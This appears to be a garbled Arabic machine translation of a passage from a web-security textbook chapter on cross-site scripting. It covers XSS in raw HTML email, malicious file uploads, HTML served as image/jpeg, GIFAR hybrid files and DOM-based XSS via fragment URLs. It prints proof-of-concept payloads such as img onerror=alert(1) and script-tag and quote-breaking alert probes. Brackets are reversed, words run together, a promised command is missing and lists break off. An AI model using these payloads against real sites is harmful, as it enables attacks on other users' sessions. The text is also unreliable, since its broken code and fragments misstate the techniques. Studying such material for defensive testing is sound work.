ﻋﻤﻴﻞﺑﺮﻳﺪ ﺇﻟﻜﺘﺮﻭﻧﻲ ﻗﻴﺎﺳﻲ ،ﻓﻐﺎﻟﺒﺎً ﺳﺘﺠﺪ ﺃﻥ ﺗﺤﻜﻤﻚ ﻓﻲ ﻣﺤﺘﻮﻯ ﺍﻟﺮﺳﺎﻟﺔ ﺍﻟﺨﺎﻡ ﻏﻴﺮ ﻛﺎﻑ ٍ،ﺃﻭ ﻗﺪ
ﻳﻘﻮﻡﺍﻟﻌﻤﻴﻞ ﺑﻨﻔﺴﻪ ﺑﺘﻨﻘﻴﺢ ﺃﻭ "ﺗﻨﻈﻴﻒ" ﻗﻮﺍﻋﺪﻙ ﺍﻟﻨﺤﻮﻳﺔ ﺍﻟﻤﺸﻮﻫﺔ ﻋﻤﺪﺍً.
ﻓﻲﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ،ﻳﻔُﻀﻞّ ﻋﺎﺩﺓ ًﺍﺳﺘﺨﺪﺍﻡ ﻭﺳﻴﻠﺔ ﺑﺪﻳﻠﺔ ﻹﻧﺸﺎء ﺭﺳﺎﺉﻞ ﺍﻟﺒﺮﻳﺪ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﺗﺘُﻴﺢ ﻟﻚ
ﺍﻟﺘﺤﻜﻢّﺍﻟﻤﺒﺎﺷﺮ ﻓﻲ ﻣﺤﺘﻮﻳﺎﺕ ﺍﻟﺮﺳﺎﺉﻞ .ﺇﺣﺪﻯ ﻫﺬﻩ ﺍﻟﻄﺮﻕ ﻫﻲ ﺍﺳﺘﺨﺪﺍﻡ ﻧﻈﺎﻡ ﻳﻮﻧﻜﺲ.ﺇﺭﺳﺎﻝ ﺍﻟﺒﺮﻳﺪ
ﺍﻹﻟﻜﺘﺮﻭﻧﻲﺍﻷﻣﺮ .ﻳﺠﺐ ﺃﻥ ﻳﻜﻮﻥ ﺟﻬﺎﺯ ﺍﻟﻜﻤﺒﻴﻮﺗﺮ ﻟﺪﻳﻚ ﻣﻬُﻴﺄ ًﺑﺘﻔﺎﺻﻴﻞ ﺧﺎﺩﻡ ﺍﻟﺒﺮﻳﺪ ﺍﻟﺬﻱ ﺳﻴﺴﺘﺨﺪﻣﻪ
ﻹﺭﺳﺎﻝﺍﻟﺒﺮﻳﺪ ﺍﻟﺼﺎﺩﺭ .ﺑﻌﺪ ﺫﻟﻚ ،ﻳﻤﻜﻨﻚ ﺇﻧﺸﺎء ﺑﺮﻳﺪﻙ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﺍﻟﺨﺎﻡ ﻓﻲ ﻣﺤﺮﺭ ﻧﺼﻮﺹ ﻭﺇﺭﺳﺎﻟﻪ
ﺑﺎﺳﺘﺨﺪﺍﻡﻫﺬﺍ ﺍﻷﻣﺮ:
ﻓﻴﻤﺎﻳﻠﻲ ﻣﺜﺎﻝ ﻟﻤﻠﻒ ﺑﺮﻳﺪ ﺇﻟﻜﺘﺮﻭﻧﻲ ﺧﺎﻡ .ﺑﺎﻹﺿﺎﻓﺔ ﺇﻟﻰ ﺍﺧﺘﺒﺎﺭ ﺣﻤﻮﻻﺕ XSSﺍﻟﻤﺨﺘﻠﻔﺔ
ﻭﺗﺠﺎﻭﺯﺍﺕﺍﻟﻤﺮﺷﺤﺎﺕ ﻓﻲ ﻧﺺ ﺍﻟﺮﺳﺎﻟﺔ ،ﻳﻤﻜﻨﻚ ﺃﻳﻀﺎً ﺗﺠﺮﺑﺔ ﺗﺤﺪﻳﺪ-
ﺷﻲءﻣﺨﺘﻠﻒﻧﻮﻉ ﺍﻟﻤﺤﺘﻮﻯﻭﻣﺠﻤﻮﻋﺔ ﺍﻷﺣﺮﻑ:
ﺇﺻﺪﺍﺭMIME: 1.0
ﻣﻦtest@example.org:
ﻧﻮﻉﺍﻟﻤﺤﺘﻮﻯtext/html :؛ ﻣﺠﻤﻮﻋﺔ ﺍﻷﺣﺮﻑ= us-asciiﺗﺮﻣﻴﺰ ﻧﻘﻞ
ﺍﻟﻤﺤﺘﻮﻯ 7:ﺑﺖ
ﺍﻟﻤﻮﺿﻮﻉ:ﺍﺧﺘﺒﺎﺭ XSS
<>html
>ﺍﻟﺠﺴﻢ<
<>img src=``onerror=alert)1(< >/body
<>/html
.
ﻗﺪﺗﺆﺛﺮ ﻋﻮﺍﻣﻞ ﻣﺨﺘﻠﻔﺔ ﻋﻠﻰ ﻣﺎ ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻋﺮﺿﺔ ﻟﻬﺠﻤﺎﺕ ﺍﻟﻤﻠﻔﺎﺕ ﺍﻟﻤﺤﻤﻠﺔ:
ﺃﺛﻨﺎءﺗﺤﻤﻴﻞ ﺍﻟﻤﻠﻒ ،ﻗﺪ ﻳﻘﻮﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺘﻘﻴﻴﺪ ﻣﻠﺤﻘﺎﺕ ﺍﻟﻤﻠﻔﺎﺕ ﺍﻟﺘﻲ ﻳﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻣﻬﺎ. -
ﺃﺛﻨﺎءﺗﺤﻤﻴﻞ ﺍﻟﻤﻠﻒ ،ﻗﺪ ﻳﻘﻮﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﻔﺤﺺ ﻣﺤﺘﻮﻳﺎﺕ ﺍﻟﻤﻠﻒ ﻟﻠﺘﺄﻛﺪ ﻣﻦ ﺗﻮﺍﻓﻘﻪ ﻣﻊ -
ﻳﺤُﺪﺩﻋﻨﻮﺍﻥ ﺍﻟﻤﺘﺼﻔﺢ ﺍﻟﺬﻱ ﻳﺠﺐ ﺃﻥ ﻳﺤﻔﻆ ﺍﻟﻤﻠﻒ ﻋﻠﻰ ﺍﻟﻘﺮﺹ .ﺃﻣﺎ ﺑﺎﻟﻨﺴﺒﺔ ﻷﻧﻮﺍﻉ
ﺍﻟﻤﺤﺘﻮﻯﺫﺍﺕ ﺍﻟﺼﻠﺔ ،ﻓﺴﻴﻌﺎﻟﺞ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﻤﻠﻒ ﻭﻳﻌﺮﺿﻪ ﺩﺍﺧﻞ ﻣﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ.
ﻋﻨﺪﻓﺤﺺ ﻫﺬﻩ ﺍﻟﻮﻇﻴﻔﺔ ،ﺃﻭﻝ ﻣﺎ ﻋﻠﻴﻚ ﻓﻌﻠﻪ ﻫﻮ ﻣﺤﺎﻭﻟﺔ ﺗﺤﻤﻴﻞ ﻣﻠﻒ HTMLﺑﺴﻴﻂ ﻳﺤﺘﻮﻱ
ﻋﻠﻰﻧﺺ ﺑﺮﻣﺠﻲ ﻹﺛﺒﺎﺕ ﺍﻟﻤﻔﻬﻮﻡ .ﺇﺫﺍ ﺗﻢ ﻗﺒﻮﻝ ﺍﻟﻤﻠﻒ ،ﻓﺤﺎﻭﻝ ﺗﻨﺰﻳﻠﻪ ﺑﺎﻟﻄﺮﻳﻘﺔ ﺍﻟﻤﻌﺘﺎﺩﺓ .ﺇﺫﺍ ﺗﻢ
ﺇﺭﺟﺎﻉﺍﻟﻤﻠﻒ ﺍﻷﺻﻠﻲ ﺩﻭﻥ ﺗﻌﺪﻳﻞ ،ﻭﺗﻢ ﺗﻨﻔﻴﺬ ﺍﻟﻨﺺ ﺍﻟﺒﺮﻣﺠﻲ ،ﻓﻤﻦ ﺍﻟﻤﺆﻛﺪ ﺃﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻣﻌﺮﺽ
ﻟﻠﺨﻄﺮ.
485 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
ﺇﺫﺍﻗﺎﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺤﻈﺮ ﺍﻟﻤﻠﻒ ﺍﻟﺬﻱ ﺗﻢ ﺗﺤﻤﻴﻠﻪ ،ﻓﺤﺎﻭﻝ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻣﺘﺪﺍﺩﺍﺕ ﻣﻠﻔﺎﺕ ﻣﺨﺘﻠﻔﺔ ،ﺑﻤﺎ
ﻓﻲﺫﻟﻚ .ﺭﺳﺎﻟﺔ ﻗﺼﻴﺮﺓﻭ jpg..ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﻘﺒﻞ ﻣﻠﻔﺎً ﻳﺤﺘﻮﻱ ﻋﻠﻰ HTMLﻋﻨﺪ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻣﺘﺪﺍﺩ
ﻣﺨﺘﻠﻒ،ﻓﻘﺪ ﻳﻈﻞ ﻋﺮﺿﺔ ﻟﻠﺨﻄﺮ ،ﻭﻳﻌﺘﻤﺪ ﺫﻟﻚ ﻋﻠﻰ ﻛﻴﻔﻴﺔ ﻭﺻﻮﻝ ﺍﻟﻤﻠﻒ ﺃﺛﻨﺎء ﺍﻟﺘﻨﺰﻳﻞ .ﻏﺎﻟﺒﺎً ﻣﺎ
ﺗﻜﻮﻥﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﺒﺮﻳﺪ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﻋﺮﺿﺔ ﻟﻠﺨﻄﺮ ﺑﻬﺬﻩ ﺍﻟﻄﺮﻳﻘﺔ .ﻳﻤﻜﻦ ﻟﻠﻤﻬﺎﺟﻢ ﺇﺭﺳﺎﻝ ﺭﺳﺎﺉﻞ ﺑﺮﻳﺪ
ﺇﻟﻜﺘﺮﻭﻧﻲﺗﺤﺘﻮﻱ ﻋﻠﻰ ﻣﺮﻓﻖ ﺻﻮﺭﺓ ﺫﻱ ﻣﻈﻬﺮ ﺟﺬﺍﺏ ،ﻣﻤﺎ ﻗﺪ ﻳﻌُﺮﺽّ ﺟﻠﺴﺔ ﺃﻱ ﻣﺴﺘﺨﺪﻡ ﻳﻄﻠﻊ
ﻋﻠﻴﻪﻟﻠﺨﻄﺮ.
ﺣﺘﻰﻟﻮ ﺃﻋﺎﺩ ﺍﻟﺘﻄﺒﻴﻖﻧﻮﻉ ﺍﻟﻤﺤﺘﻮﻯﺇﺫﺍ ﻛﺎﻥ ﺭﺃﺱ ﺍﻟﻤﻠﻒ ﻳﺤُﺪﺩ ﺃﻥ ﺍﻟﻤﻠﻒ ﺍﻟﻤﻨُﺰﻝَّ ﺻﻮﺭﺓ ،ﻓﻘﺪ ﺗﻌُﺎﻟﺞ
ﺑﻌﺾﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﻣﺤﺘﻮﺍﻩ ﺑﺼﻴﻐﺔ HTMLﺇﺫﺍ ﻛﺎﻥ ﻫﺬﺍ ﻫﻮ ﻣﺤﺘﻮﻯ ﺍﻟﻤﻠﻒ ﺍﻟﻔﻌﻠﻲ .ﻋﻠﻰ ﺳﺒﻴﻞ
ﺍﻟﻤﺜﺎﻝ:
ﻣﻮﺍﻓﻖHTTP/1.1 200
ﻃﻮﻝﺍﻟﻤﺤﺘﻮﻯ25 :
ﻧﻮﻉﺍﻟﻤﺤﺘﻮﻯimage/jpeg :
<>/scriptﺗﻨﺒﻴﻪ)>script<(1
ﻛﺎﻧﺖﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻟﻘﺪﻳﻤﺔ ﻣﻦ ﺇﻧﺘﺮﻧﺖ ﺇﻛﺴﺒﻠﻮﺭﺭ ﺗﻌﻤﻞ ﺑﻬﺬﻩ ﺍﻟﻄﺮﻳﻘﺔ .ﺇﺫﺍ ﻃﻠﺐ ﺍﻟﻤﺴﺘﺨﺪﻡ
.jpg fiﻣﺒﺎﺷﺮﺓ )ﻭﻟﻴﺲ ﻋﺒﺮ > ﻣﻀﻤﻦ leﺍﻟﺼﻮﺭﺓ<ﺇﺫﺍ ﺗﻢ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻟﻌﻼﻣﺔ ) ،(tagﻭﺗﻢ ﺍﺳﺘﻼﻡ
ﺍﻻﺳﺘﺠﺎﺑﺔﺍﻟﺴﺎﺑﻘﺔ ،ﻓﺴﻴﻌُﺎﻟﺞ ﻣﺘﺼﻔﺢ ﺇﻧﺘﺮﻧﺖ ﺇﻛﺴﺒﻠﻮﺭﺭ ﻣﺤﺘﻮﺍﻫﺎ ﻛـ .HTMLﻋﻠﻰ ﺍﻟﺮﻏﻢ ﻣﻦ
ﺗﻌﺪﻳﻞﻫﺬﺍ ﺍﻟﺴﻠﻮﻙ ﻣﻨﺬ ﺫﻟﻚ ﺍﻟﺤﻴﻦ ،ﻓﻤﻦ ﺍﻟﻤﺤﺘﻤﻞ ﺃﻥ ﺗﺘﺼﺮﻑ ﻣﺘﺼﻔﺤﺎﺕ ﺃﺧﺮﻯ ﺑﻬﺬﻩ ﺍﻟﻄﺮﻳﻘﺔ
ﻓﻲﺍﻟﻤﺴﺘﻘﺒﻞ.
ﻫﺠﻤﺎﺕﺍﻟﻤﻠﻔﺎﺕ ﺍﻟﻬﺠﻴﻨﺔ
ﻓﻲﻛﺜﻴﺮ ﻣﻦ ﺍﻷﺣﻴﺎﻥ ،ﻭﻟﻠﺪﻓﺎﻉ ﻋﻦ ﺍﻟﻨﻔﺲ ﻣﻦ ﺍﻟﻬﺠﻤﺎﺕ ﺍﻟﻤﺬﻛﻮﺭﺓ ﺳﺎﺑﻘﺎً ،ﺗﺠُﺮﻱ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺑﻌﺾ
ﻋﻤﻠﻴﺎﺕﺍﻟﺘﺤﻘﻖ ﻣﻦ ﻣﺤﺘﻮﻳﺎﺕ ﺍﻟﻤﻠﻒ ﺍﻟﻤﺤُﻤﻞّ ﻟﻠﺘﺄﻛﺪ ﻣﻦ ﺍﺣﺘﻮﺍﺉﻪ ﻋﻠﻰ ﺑﻴﺎﻧﺎﺕ ﺑﺎﻟﺼﻴﻐﺔ
ﺍﻟﻤﺘﻮﻗﻌﺔ،ﻣﺜﻞ ﺻﻮﺭﺓ .ﻗﺪ ﺗﻈﻞ ﻫﺬﻩ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﻋﺮﺿﺔ ﻟﻠﺨﻄﺮ ،ﺑﺎﺳﺘﺨﺪﺍﻣﻬﺎ "ﻣﻠﻔﺎﺕ ﻫﺠﻴﻨﺔ"
ﺗﺠﻤﻊﺻﻴﻐﺘﻴﻦ ﻣﺨﺘﻠﻔﺘﻴﻦ ﺩﺍﺧﻞ ﺍﻟﻤﻠﻒ ﻧﻔﺴﻪ.
ﻣﻦﺃﻣﺜﻠﺔ ﺍﻟﻤﻠﻔﺎﺕ ﺍﻟﻬﺠﻴﻨﺔ ﻣﻠﻒ ،GIFARﺍﻟﺬﻱ ﺍﺑﺘﻜﺮﻩ ﺑﻴﻠﻲ ﺭﻳﻮﺱ .ﻳﺤﺘﻮﻱ ﻣﻠﻒ GIFARﻋﻠﻰ
ﺑﻴﺎﻧﺎﺕﺑﺼﻴﻐﺘﻲ GIFﻭ) JARﺃﺭﺷﻴﻒ ﺟﺎﻓﺎ( ،ﻭﻫﻮ ﻓﻲ ﺍﻟﻮﺍﻗﻊ ﻧﺴﺨﺔ ﺻﺎﻟﺤﺔ ﻟﻜﻼ ﺍﻟﺼﻴﻐﺘﻴﻦ .ﻭﻳﺮﺟﻊ
ﺫﻟﻚﺇﻟﻰ ﺃﻥ ﺑﻴﺎﻧﺎﺕ ﺍﻟﺘﻌﺮﻳﻒ ﺍﻟﺨﺎﺻﺔ ﺑﺼﻴﻐﺔ GIFﺗﻜﻮﻥ ﻓﻲ ﺑﺪﺍﻳﺘﻬﺎ ،ﺑﻴﻨﻤﺎ ﺗﻜﻮﻥ ﺑﻴﺎﻧﺎﺕ ﺍﻟﺘﻌﺮﻳﻒ
ﺍﻟﺨﺎﺻﺔﺑﺼﻴﻐﺔ JARﻓﻲ ﻧﻬﺎﻳﺘﻬﺎ .ﻭﻟﺬﻟﻚ ،ﻓﺈﻥ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﺘﻲ ﺗﺘﺤﻘﻖ ﻣﻦ ﺻﺤﺔ ﻣﺤﺘﻮﻳﺎﺕ
ﺍﻟﻤﻠﻔﺎﺕﺍﻟﻤﺤﻤﻠّﺔ ،ﻭﺍﻟﺘﻲ ﺗﺴﻤﺢ ﺑﺎﻟﻤﻠﻔﺎﺕ ﺍﻟﺘﻲ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺑﻴﺎﻧﺎﺕ ،GIFﺗﻘﺒﻞ ﻣﻠﻔﺎﺕ GIFﻋﻠﻰ
ﺃﻧﻬﺎﺻﺎﻟﺤﺔ.
ﻳﺠﺪﺍﻟﻤﻬﺎﺟﻢ ﻭﻇﻴﻔﺔ ﺗﻄﺒﻴﻘﻴﺔ ﺗﺘﻴﺢ ﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺁﺧﺮﻳﻦ ﺗﻨﺰﻳﻞ ﻣﻠﻔﺎﺕ GIFﺍﻟﺘﻲ ﺗﻢ -
ﻣﺴﺘﺨﺪﻡﻳﻘﻮﻡ ﺑﺘﻨﻔﻴﺬﻩ.
ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ 486
ﻳﺤُﻤﻞّﺍﻟﻤﻬُﺎﺟﻢ ﺍﻟﻤﻠﻒ ﻛﺼﻮﺭﺓ ﻣﻠﻔﻪ ﺍﻟﺸﺨﺼﻲ .ﻭﻷﻥ ﺍﻟﻤﻠﻒ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﺻﻮﺭﺓ GIF -
ﺻﺎﻟﺤﺔ،ﻳﻘﺒﻠﻬﺎ ﺍﻟﺘﻄﺒﻴﻖ.
ﻳﺤُﺪﺩﺍﻟﻤﻬﺎﺟﻢ ﻣﻮﻗﻌﺎً ﺇﻟﻜﺘﺮﻭﻧﻴﺎً ﺧﺎﺭﺟﻴﺎً ﻣﻨﺎﺳﺒﺎً ﻟﺸﻦ ﻫﺠﻮﻡ ﻣﺴﺘﻐﻼً ﺍﻟﻤﻠﻒ ﺍﻟﻤﺤُﻤﻞّ .ﻗﺪ -
ﻳﻜﻮﻥﻫﺬﺍ ﺍﻟﻤﻮﻗﻊ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﺍﻟﺨﺎﺹ ﺑﺎﻟﻤﻬﺎﺟﻢ ،ﺃﻭ ﻣﻮﻗﻌﺎً ﺗﺎﺑﻌﺎً ﻟﺠﻬﺔ ﺧﺎﺭﺟﻴﺔ ﻳﺴﻤﺢ ﺑﺈﻧﺸﺎء
ﻣﻠﻔﺎﺕ HTMLﻋﺸﻮﺍﺉﻴﺔ ،ﻣﺜﻞ ﻣﺪﻭﻧﺔ.
ﻋﻠﻰﺍﻟﻤﻮﻗﻊ ﺍﻟﺨﺎﺭﺟﻲ ،ﻳﺴﺘﺨﺪﻡ ﺍﻟﻤﻬﺎﺟﻢ >ﺗﻄﺒﻴﻖ ﺻﻐﻴﺮ<ﺃﻭ >ﻛﺎﺉﻦ<ﻋﻼﻣﺔ ﻟﺘﺤﻤﻴﻞ ﻣﻠﻒ -
ﺗﻢﻣﻨﻊ ﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ ﺗﺤﺪﻳﺪﺍً ﺑﺎﺳﺘﺨﺪﺍﻡ ﻣﻠﻔﺎﺕ GIFARﻓﻲ ﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻟﺤﺎﻟﻴﺔ ﻣﻦ ﺇﺿﺎﻓﺔ
ﻣﺘﺼﻔﺢ ،Javaﻭﺍﻟﺘﻲ ﺗﺘُﺤﻘﻖ ﻣﻤﺎ ﺇﺫﺍ ﻛﺎﻧﺖ ﻣﻠﻔﺎﺕ JARﺍﻟﻤﺤُﻤﻠّﺔ ﺗﺤﺘﻮﻱ ﺑﺎﻟﻔﻌﻞ ﻋﻠﻰ ﻣﺤﺘﻮﻯ
ﻫﺠﻴﻦ.ﻭﻣﻊ ﺫﻟﻚ ،ﻻ ﻳﺰﺍﻝ ﻣﺒﺪﺃ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻟﻤﻠﻔﺎﺕ ﺍﻟﻬﺠﻴﻨﺔ ﻹﺧﻔﺎء ﺍﻟﺘﻌﻠﻴﻤﺎﺕ ﺍﻟﺒﺮﻣﺠﻴﺔ ﺍﻟﻘﺎﺑﻠﺔ
ﻟﻠﺘﻨﻔﻴﺬﻗﺎﺉﻤﺎً .ﻭﻧﻈﺮﺍً ﻟﻠﺘﻨﻮﻉ ﺍﻟﻤﺘﺰﺍﻳﺪ ﻓﻲ ﺻﻴﻎ ﺍﻟﺘﻌﻠﻴﻤﺎﺕ ﺍﻟﺒﺮﻣﺠﻴﺔ ﺍﻟﻘﺎﺑﻠﺔ ﻟﻠﺘﻨﻔﻴﺬ ﻋﻠﻰ ﺟﻬﺎﺯ
ﺍﻟﻌﻤﻴﻞﺍﻟﻤﺴُﺘﺨﺪﻣﺔ ﺣﺎﻟﻴﺎً ،ﻓﻤﻦ ﺍﻟﻤﺤُﺘﻤﻞ ﻭﺟﻮﺩ ﻫﺠﻤﺎﺕ ﻣﻤُﺎﺛﻠﺔ ﺑﺼﻴﻎ ﺃﺧﺮﻯ ﺃﻭ ﻇﻬﻮﺭﻫﺎ ﻣﺴُﺘﻘﺒﻼً.
http://wahh-app.com/#profile
ﻋﻨﺪﻣﺎﻳﻨﻘﺮ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻋﻠﻰ ﺍﻟﺮﺍﺑﻂ ،ﻳﺘﻌﺎﻣﻞ ﻛﻮﺩ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ ﻣﻊ ﺣﺪﺙ ﺍﻟﻨﻘﺮ ،ﻭﻳﺴﺘﺨﺪﻡ Ajax
ﻻﺳﺘﺮﺩﺍﺩﺍﻟﻤﻠﻒ ﺍﻟﻤﻌﺮﻭﺽ ﺑﻌﺪ ﺍﻟﻤﻘﻄﻊ ،ﻭﻳﺤﺪﺩ ﺍﻻﺳﺘﺠﺎﺑﺔ ﺩﺍﺧﻞinnerHtmlﻣﻦ >ﻗﺴﻢ<ﻋﻨﺼﺮ ﻓﻲ
ﺍﻟﺼﻔﺤﺔﺍﻟﺤﺎﻟﻴﺔ .ﻫﺬﺍ ﻳﺘُﻴﺢ ﺗﺠﺮﺑﺔ ﻣﺴﺘﺨﺪﻡ ﺳﻠﺴﺔ ،ﺣﻴﺚ ﻳﺤُﺪﺙِّ ﺍﻟﻨﻘﺮ ﻋﻠﻰ ﻋﻼﻣﺔ ﺗﺒﻮﻳﺐ ﻓﻲ
ﻭﺍﺟﻬﺔﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﻤﺤﺘﻮﻯ ﺍﻟﻤﻌﺮﻭﺽ ﺩﻭﻥ ﺇﻋﺎﺩﺓ ﺗﺤﻤﻴﻞ ﺍﻟﺼﻔﺤﺔ ﺑﺄﻛﻤﻠﻬﺎ.
ﻓﻲﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ،ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﺤﺘﻮﻱ ﺃﻳﻀﺎً ﻋﻠﻰ ﻭﻇﻴﻔﺔ ﺗﺴﻤﺢ ﻟﻚ ﺑﺘﺤﻤﻴﻞ ﻣﻠﻔﺎﺕ ﺍﻟﺼﻮﺭ
ﻭﺗﻨﺰﻳﻠﻬﺎ،ﻣﺜﻞ ﺻﻮﺭﺓ ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻟﻤﺴﺘﺨﺪﻡ ،ﻓﻘﺪ ﺗﺘﻤﻜﻦ ﻣﻦ ﺗﺤﻤﻴﻞ ﻣﻠﻒ ﺻﻮﺭﺓ ﺻﺎﻟﺢ ﻳﺤﺘﻮﻱ
ﻋﻠﻰﺗﺮﻣﻴﺰ HTMLﻣﻀﻤﻦ ﻭﺇﻧﺸﺎء ﻋﻨﻮﺍﻥ URLﻳﺘﺴﺒﺐ ﻓﻲ ﻗﻴﺎﻡ ﻛﻮﺩ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ ﺑﺠﻠﺐ
ﺍﻟﺼﻮﺭﺓﻭﻋﺮﺿﻬﺎ ﺑﺘﻨﺴﻴﻖ :HTML
http://wahh-app.com/#profiles/images/15234917624.jpg
487 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
ﻳﻤﻜﻦﺗﻀﻤﻴﻦ HTMLﻓﻲ ﻣﻮﺍﻗﻊ ﻣﺨﺘﻠﻔﺔ ﺩﺍﺧﻞ ﻣﻠﻒ ﺻﻮﺭﺓ ﺻﺎﻟﺢ ،ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ ﻗﺴﻢ
ﺍﻟﺘﻌﻠﻴﻘﺎﺕ.ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ،ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ ﻓﺎﻳﺮﻓﻮﻛﺲ ﻭﺳﻔﺎﺭﻱ ،ﺗﻘُﺪﻡّ ﻣﻠﻔﺎﺕ ﺍﻟﺼﻮﺭ
ﺑﺘﻨﺴﻴﻖ .HTMLﺗﻌُﺮﺽ ﺍﻷﺟﺰﺍء ﺍﻟﺜﻨﺎﺉﻴﺔ ﻣﻦ ﺍﻟﺼﻮﺭﺓ ﻛﻤﻠﻒ ﻏﻴﺮ ﻣﺮﻏﻮﺏ ﻓﻴﻪ ،ﺑﻴﻨﻤﺎ ﻳﻌُﺮﺽ ﺃﻱ
HTMLﻣﻀُﻤﻦّ ﺑﺎﻟﻄﺮﻳﻘﺔ ﺍﻟﻤﻌﺘﺎﺩﺓ.
ﻧﻈﺮﺍًﻷﻥ ﺍﻟﺘﺤﻘﻖ ﻣﻦ ﺻﺤﺔ ﻧﻄﺎﻕ ﻋﻨﻮﺍﻥ URLﻛﺎﻥ ﻏﻴﺮ ﺿﺮﻭﺭﻱ ﻓﻲ ﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻷﻗﺪﻡ ﻣﻦ
،HTMLﻓﻬﺬﺍ ﻣﺜﺎﻝ ﻭﺍﺣﺪ ﺣﻴﺚ ﻗﺪ ﺗﺆﺩﻱ ﺍﻟﺘﻐﻴﻴﺮﺍﺕ ﺍﻟﺘﻲ ﺗﻢ ﺇﺩﺧﺎﻟﻬﺎ ﻓﻲ HTML5ﺑﺤﺪ ﺫﺍﺗﻬﺎ ﺇﻟﻰ
ﺇﺩﺧﺎﻝﺷﺮﻭﻁ ﻗﺎﺑﻠﺔ ﻟﻼﺳﺘﻐﻼﻝ ﻓﻲ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﻤﻮﺟﻮﺩﺓ ﺍﻟﺘﻲ ﻛﺎﻧﺖ ﺁﻣﻨﺔ ﻓﻲ ﺍﻟﺴﺎﺑﻖ.
">script<alert)1(>/script< ";alert)1(//
''-alert)1(-
ﺑﻌﺮﺽﻛﻞ ﺻﻔﺤﺔ ﻣﻌُﺎﺩﺓ ﻓﻲ ﻣﺘﺼﻔﺤﻚ ،ﺗﻔُﻌﻞّ ﺟﻤﻴﻊ ﻧﺼﻮﺹ ﺍﻟﻌﻤﻴﻞ ﺍﻟﺒﺮﻣﺠﻴﺔ ،ﻣﻊ ﺍﻹﺷﺎﺭﺓ
ﺇﻟﻰﻣﻌُﺎﻣﻞ URLﺍﻟﻤﻌُﺪﻝّ ﻋﻨﺪ ﺍﻻﻗﺘﻀﺎء .ﻓﻲ ﻛﻞ ﻣﺮﺓ ﻳﻈﻬﺮ ﻓﻴﻬﺎ ﻣﺮﺑﻊ ﺣﻮﺍﺭ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﻣﻠﻔﺎﺕ
ﺗﻌﺮﻳﻒﺍﻻﺭﺗﺒﺎﻁ ،ﺳﺘﺠﺪ ﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ )ﻗﺪ ﺗﻜﻮﻥ ﻧﺎﺟﻤﺔ ﻋﻦ DOMﺃﻭ ﺃﺷﻜﺎﻝ ﺃﺧﺮﻯ ﻣﻦ .(XSSﻳﻤﻜﻦ
ﺃﺗﻤﺘﺔﻫﺬﻩ ﺍﻟﻌﻤﻠﻴﺔ ﺑﻮﺍﺳﻄﺔ ﺃﺩﺍﺓ ﺗﻄُﺒﻖّ ﻣﻔُﺴﺮّ JavaScriptﺧﺎﺹ ﺑﻬﺎ.
